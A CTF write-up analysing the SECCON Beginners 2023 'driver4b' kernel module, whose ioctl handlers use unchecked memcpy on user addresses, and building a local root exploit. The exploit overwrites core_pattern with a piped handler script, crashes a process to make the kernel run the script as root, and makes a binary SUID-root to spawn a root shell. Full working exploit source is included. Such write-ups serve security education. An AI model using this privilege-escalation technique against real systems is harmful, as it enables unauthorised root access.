driver4b is a Linux kernel challenge from SECCON Beginners CTF 2023. The
module exposes only two ioctl commands and a 256-byte global message buffer.
The bug is that both commands use plain memcpy() on an address supplied by
userspace.
That gives us both directions of an arbitrary kernel memory primitive:
STORE: attacker-selected address -> g_message
LOAD: g_message -> attacker-selected address
This is the smallest arbitrary read/write primitive in this kernel series. My
linked-list kernel exploit reaches the
same capability through a heap overflow and corrupted next pointer instead.
My exploit uses the write direction to replace core_pattern with a piped
coredump handler. A deliberate userspace crash makes the kernel run that
handler as root. The handler changes /poc into a SUID-root executable, and a
second invocation of /poc shell normalizes the process IDs before starting
BusyBox sh.
The complete flow is:
create /tmp/core-handler
-> open /dev/ctf4b
-> STORE copies "|/tmp/core-handler" into g_message
-> LOAD copies g_message over core_pattern
-> dereference NULL in userspace
-> kernel processes the coredump
-> core_pattern begins with '|', so the kernel starts /tmp/core-handler
-> handler runs as root and makes /poc root-owned mode 4755
-> run /poc shell
-> SUID starts /poc with effective UID 0
-> setgid(0) and setuid(0) normalize real, effective, and saved IDs
-> exec /bin/sh
1. Challenge setup
The supplied header defines the two commands and the fixed transfer size:
#define CTF4B_DEVICE_NAME "ctf4b"
#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD 0xC7F4B01
#define CTF4B_MSG_SIZE 0x100
The driver creates one global message buffer initialized with the challenge welcome string:
char g_message[CTF4B_MSG_SIZE] = "Welcome to SECCON Beginners CTF 2023!";
The module registers a character device and connects module_ioctl() to its
unlocked_ioctl operation:
static struct file_operations module_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = module_ioctl,
.open = module_open,
.release = module_close,
};
The exploit therefore opens the device exposed by the challenge:
#define CTF4B_DEVICE_NAME "/dev/ctf4b"
const int fd = open(CTF4B_DEVICE_NAME, O_RDWR);
assert(fd > 0);
The release launcher boots the supplied Linux 6.3.2 kernel with nokaslr:
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on nokaslr"
This matters because my exploit contains a build-specific absolute address
for core_pattern. With KASLR disabled, that address remains stable for this
exact kernel image.
SMAP is also disabled in the supplied runtime. That matters because these
plain memcpy() calls access userspace pages directly from supervisor mode.
With SMAP enabled, those accesses can fault because the driver does not use
the normal user-access helpers that temporarily permit access.
The release guest starts as an unprivileged user with the
ctf4b device available and core_pattern set to its default value.
2. Root cause in ctf4b.c
The challenge comes with the source file and the complete vulnerable part of the driver is small:
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
char *msg = (char*)arg;
switch (cmd) {
case CTF4B_IOCTL_STORE:
/* Store message */
memcpy(g_message, msg, CTF4B_MSG_SIZE);
break;
case CTF4B_IOCTL_LOAD:
/* Load message */
memcpy(msg, g_message, CTF4B_MSG_SIZE);
break;
default:
return -EINVAL;
}
return 0;
}
The third ioctl argument is an integer-sized value controlled by userspace.
The driver casts that value directly to char *:
char *msg = (char*)arg;
The cast does not validate the address and does not copy the pointed-to data. It only tells the compiler to treat the numeric ioctl argument as a pointer.
Kernel code normally uses copy_from_user() and copy_to_user() when crossing
the user/kernel boundary. Those helpers validate the userspace range and
handle faults. This driver uses plain memcpy(), so msg is treated like a
trusted address in the kernel's address space.
The fixed size is always CTF4B_MSG_SIZE, which is 0x100 bytes. There is no
request structure, length field, or address validation.
3. Understanding STORE
The STORE operation is:
memcpy(g_message, msg, CTF4B_MSG_SIZE);
Using the real source and destination names:
destination = g_message
source = ioctl argument
size = 0x100
If arg points to a userspace buffer, STORE places 256 bytes from that buffer
in g_message. This is how my exploit stages the replacement string.
If arg instead contains a readable kernel address, the same operation copies
256 bytes from that kernel address into g_message. A later LOAD into a
userspace buffer would expose those bytes, giving an arbitrary kernel read.
STORE is therefore the first half of both useful operations:
userspace buffer --STORE--> g_message stage attacker data
kernel address --STORE--> g_message read kernel data
4. Understanding LOAD
The LOAD operation reverses the copy:
memcpy(msg, g_message, CTF4B_MSG_SIZE);
Its mapping is:
destination = ioctl argument
source = g_message
size = 0x100
If arg points to a userspace buffer, LOAD returns the current contents of
g_message to the process.
If arg contains a writable kernel address, LOAD copies the attacker-staged
g_message into that kernel address. This is the arbitrary kernel write used
by the exploit.
The two commands compose into clear primitives:
arbitrary kernel read
kernel source --STORE--> g_message --LOAD--> userspace buffer
arbitrary kernel write
userspace buffer --STORE--> g_message --LOAD--> kernel destination
The final exploit uses only the write chain.
STORE moves the userspace core-handler string |/tmp/core-handler into the
module's global g_message buffer.

Before STORE, g_message contains:
x/s &g_message
0xffffffffc0002160 <g_message>: "Welcome to SECCON Beginners CTF 2023!"
After STORE, its prefix contains:
x/s &g_message
0xffffffffc0002160 <g_message>: "|/tmp/core-handler"
5. Passing addresses through ioctl
The exploit keeps the third argument pointer-sized:
static int raw_ioctl(int fd, unsigned long cmd, uintptr_t arg) {
return ioctl(fd, cmd, (unsigned long)arg);
}
uintptr_t is an unsigned integer type capable of holding a pointer. The
wrapper makes it explicit that the third argument is passed as a numeric
address, whether that address belongs to userspace or the kernel. It returns
the ioctl result unchanged; the current exploit does not check that result.
The important distinction is between an address and the byte stored there:
overwrite address of the string
*overwrite first character of the string
For this exploit, STORE receives the address of the source array. LOAD receives the numeric address of the kernel destination.
6. The handout config does not match the supplied kernel
The handout contains the following configuration fragment:
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/modprobe"
If this configuration were active, it would affect more than
modprobe_path. CONFIG_STATIC_USERMODEHELPER routes every usermode-helper
request through the compiled-in executable:
#ifdef CONFIG_STATIC_USERMODEHELPER
sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;
#else
sub_info->path = path;
#endif
For a modprobe_path overwrite, the kernel would therefore still execute
/sbin/modprobe; the overwritten value would only remain in argv[0].
Likewise, a piped core_pattern value such as |/tmp/core-handler would
not directly execute /tmp/core-handler. The executable selected by
call_usermodehelper_setup() would still be /sbin/modprobe.
However, the supplied bzImage does not use that configuration. GEF reports:
CONFIG_STATIC_USERMODEHELPER: Disabled
(call_usermodehelper_setup uses dynamic path)

Disassembly of the actual function confirms that the caller-supplied path is
stored in sub_info->path. The prebuilt challenge kernel therefore behaves
as if CONFIG_STATIC_USERMODEHELPER=n, despite the setting in
handout/src/config.
The option is explicitly designed to route
all usermode helpers through one fixed program,
not only modprobe, but alos core_pattern. Which was confusing at first, thats why I went for core_pattern exploitation
and was not aware that modprobe_path could also be used. But nevertheless this was a good exercise,
because I've never done it this way.
7. Staging the core_pattern value
The value written by the exploit is:
char overwrite[] = "|/tmp/core-handler\x00";
The leading pipe is needed because a normal core_pattern value is a filename
pattern for a core file. A value whose first byte is | instead selects a
program that will receive the coredump through a pipe.
The handler path is absolute:
/tmp/core-handler
The kernel does not invoke this value as a shell command line. It parses the handler program and arguments, then executes the named program.
The explicit \x00 terminates the kernel string. C also adds its normal
terminator to the literal, so the local array ends with two zero bytes. The
second zero does not change the parsed path.
8. Creating the root helper
Before modifying kernel memory, setup() creates the file named by the new
core_pattern:
void setup() {
system("echo '#!/bin/sh\n"
"chown root:root /poc\n"
"chmod 4755 /poc' > /tmp/core-handler");
system("chmod 755 /tmp/core-handler");
}
9. Writing core_pattern
First we need the address to core_pattern which I obtained through kmagic in GEF.
gef> kmagic
core_pattern 0xffffffff81eb4320 [RW-]
The exploit records that build-specific result as:
uint64_t core_pattern = 0xffffffff81eb4320;
This address belongs to the supplied kernel build and depends on the
nokaslr boot. It is not portable to a rebuilt kernel or a boot with KASLR
enabled. If its ran with kaslr on we first need a leak and then calculate the offset from kbase.
The transfer width deserves special attention. Linux 6.3 defines
CORENAME_MAX_SIZE as 128 in
include/linux/binfmts.h,
and fs/coredump.c
declares:
#define CORENAME_MAX_SIZE 128
static char core_pattern[CORENAME_MAX_SIZE] = "core";
The vulnerable driver always copies 0x100, producing this layout:
256-byte LOAD
├── 128 bytes: core_pattern
└── 128 bytes: adjacent kernel data
The actual exploit performs the write with these two calls:
raw_ioctl(fd, CTF4B_IOCTL_STORE, (uintptr_t)&overwrite);
raw_ioctl(fd, CTF4B_IOCTL_LOAD, core_pattern);
Because overwrite is only 20 bytes, STORE reads roughly 236 bytes beyond
that userspace array. LOAD then writes all 256 bytes at core_pattern,
including 128 bytes beyond the object into adjacent kernel data. The exploit
works on this challenge image, but it does not preserve those adjacent bytes.
Post-write-up note: After writing this article, I noticed that my exploit could be improved with a read-modify-write. to preserve the rest of the core_pattern. It worked but this is more clean.
unsigned char payload[0x100];
static const char pattern[] = "|/tmp/core-handler";
/* Preserve core_pattern and the adjacent 128 bytes. */
raw_ioctl(fd, CTF4B_IOCTL_STORE, core_pattern);
raw_ioctl(fd, CTF4B_IOCTL_LOAD, (uintptr_t)payload);
memcpy(payload, pattern, sizeof(pattern));
raw_ioctl(fd, CTF4B_IOCTL_STORE, (uintptr_t)payload);
raw_ioctl(fd, CTF4B_IOCTL_LOAD, core_pattern);
10. Triggering the coredump
After replacing core_pattern, the exploit deliberately writes through a
NULL pointer:
int *p = NULL;
*p = 1;
This is undefined behavior in C, but the compiled challenge binary faults in userspace and does a core dumped error.
At that point core_pattern contains:
|/tmp/core-handler
The leading pipe selects /tmp/core-handler as the coredump program. The
kernel starts coredump pipe handlers with privileged credentials, so the
script can change /poc to root:root and set mode 4755.
The observed first-stage result is:
~ $ ./poc
Segmentation fault (core dumped)

That crash is expected. It is the trigger that causes the root handler to run.
The same process dies from SIGSEGV, so it cannot start its own second stage.
The exploit therefore uses a manual second invocation from the surviving
login shell:
./poc shell

11. Why the second invocation gets root
The root-shell branch appears before the vulnerable-driver logic:
if (argc == 2 && !strcmp(argv[1], "shell")) {
if (setgid(0) || setuid(0)) {
perror("setuid/setgid");
return 1;
}
execl("/bin/sh", "sh", NULL);
perror("execl");
return 1;
}
When the unprivileged user starts the now-SUID /poc, the process begins with
the user's real UID and effective UID 0. Because it is effectively root, it
can call setgid(0) and setuid(0).
The order matters:
setgid(0) -> set the real, effective, and saved group IDs to root
setuid(0) -> set the real, effective, and saved user IDs to root
The || operator short-circuits. If setgid(0) fails, setuid(0) is not
called and the error path runs. If both return zero, execution continues.
This ID normalization is especially important in the challenge's BusyBox
rootfs. BusyBox is a multi-call binary: it chooses an applet based on the name
used to execute it. Copying /bin/sh to a file named rootsh makes BusyBox
look for a nonexistent rootsh applet, producing:
rootsh: applet not found
This BusyBox sh also does not support the usual -p option. The exploit
does not depend on it. Instead, the SUID C program calls setgid(0) and
setuid(0) before execl() replaces it with /bin/sh. BusyBox therefore
starts with root as its real, effective, and saved user and group IDs and has
no elevated identity left to discard. setgid(0) does not remove
supplementary groups; they are not needed by this exploit. I use the same SUID
self-reexecution pattern in the
Skull ioctl exploit.
The successful result is:
~ $ ./poc shell
~ # cat /root/flag.txt
The flag is written here on the remote server.
The local file is a placeholder. The same root shell can read the real flag on the remote challenge server.
12. End-to-end state changes
The exploit moves data and privilege through four distinct stages:
Stage 1: prepare userspace
overwrite[] = "|/tmp/core-handler\0"
/tmp/core-handler = executable script that changes /poc ownership and mode
Stage 2: prepare kernel data
STORE(&overwrite)
g_message = "|/tmp/core-handler\0..."
Stage 3: replace the coredump policy
LOAD(0xffffffff81eb4320)
core_pattern = "|/tmp/core-handler\0..."
Stage 4: cross the privilege boundary
NULL write -> SIGSEGV -> coredump -> root handler
root handler -> chown root:root /poc -> chmod 4755 /poc
/poc shell -> setgid(0) -> setuid(0) -> /bin/sh
No kernel ROP chain is needed. The kernel performs the arbitrary write through
its own vulnerable memcpy(), then its normal coredump mechanism crosses back
to a privileged userspace helper. For comparison, The Jumps kernel
exploit takes the control-flow route with a
stack leak, canary restoration, and a commit_creds() ROP chain.
13. Challenge-specific assumptions
The exploit is intentionally small, but several details are tied to this environment:
- GEF resolves
core_patternto0xffffffff81eb4320in this exact kernel image, and the release launcher disables KASLR withnokaslr. - STORE reads 256 bytes from a 20-byte local array, and LOAD writes 256 bytes
across the 128-byte
core_patternobject. - The prebuilt
bzImageuses dynamic usermode-helper paths even though the supplied config fragment enablesCONFIG_STATIC_USERMODEHELPER. - SMAP is disabled. With SMAP enabled, the driver's plain
memcpy()access to userspace pages could fault. raw_ioctl()returns the ioctl result, but its callers do not check it.assert(fd > 0)rejects file descriptor zero even though zero is valid.- The NULL dereference is undefined behavior in C. In this build it raises
SIGSEGVand terminates the first/poc, so/poc shellis invoked manually from the surviving login shell.
None of these details changes the vulnerability: the root cause remains the
two unchecked memcpy() calls using a user-controlled address.
14. Full exploit
This is the exploit used above:
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <assert.h>
#include <sys/resource.h>
#include <sched.h>
#include <sys/ioctl.h>
#define CTF4B_DEVICE_NAME "/dev/ctf4b"
#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD 0xC7F4B01
void setup() {
system("echo '#!/bin/sh\n"
"chown root:root /poc\n"
"chmod 4755 /poc' > /tmp/core-handler");
system("chmod 755 /tmp/core-handler");
}
static int raw_ioctl(int fd, unsigned long cmd, uintptr_t arg) {
return ioctl(fd, cmd, (unsigned long)arg);
}
int main(int argc, char **argv) {
if (argc == 2 && !strcmp(argv[1], "shell")) {
if (setgid(0) || setuid(0)) {
perror("setuid/setgid");
return 1;
}
execl("/bin/sh", "sh", NULL);
perror("execl");
return 1;
}
setup();
char overwrite[] = "|/tmp/core-handler\x00";
const int fd = open(CTF4B_DEVICE_NAME, O_RDWR);
assert(fd > 0);
uint64_t core_pattern = 0xffffffff81eb4320;
raw_ioctl(fd, CTF4B_IOCTL_STORE, (uintptr_t)&overwrite);
raw_ioctl(fd, CTF4B_IOCTL_LOAD, core_pattern);
/*
* Triggering the core dumped crash
*/
int *p = NULL;
*p = 1;
return 0;
}
References
- SECCON Beginners CTF 2023 driver4b challenge
- Official driver4b solver
- Supplied
handout/src/ctf4b.candhandout/src/ctf4b.h - Supplied
handout/src/config - Supplied
handout/release/run.sh - My final
exp.c - Original STATIC_USERMODEHELPER patch
- Linux 6.3
CORENAME_MAX_SIZEdefinition - Linux 6.3 coredump implementation
- Linux 6.3 usermode-helper implementation
- Linux kernel core_pattern documentation
- My earlier modprobe_path article
- My Skull arbitrary-read/write and modprobe_path article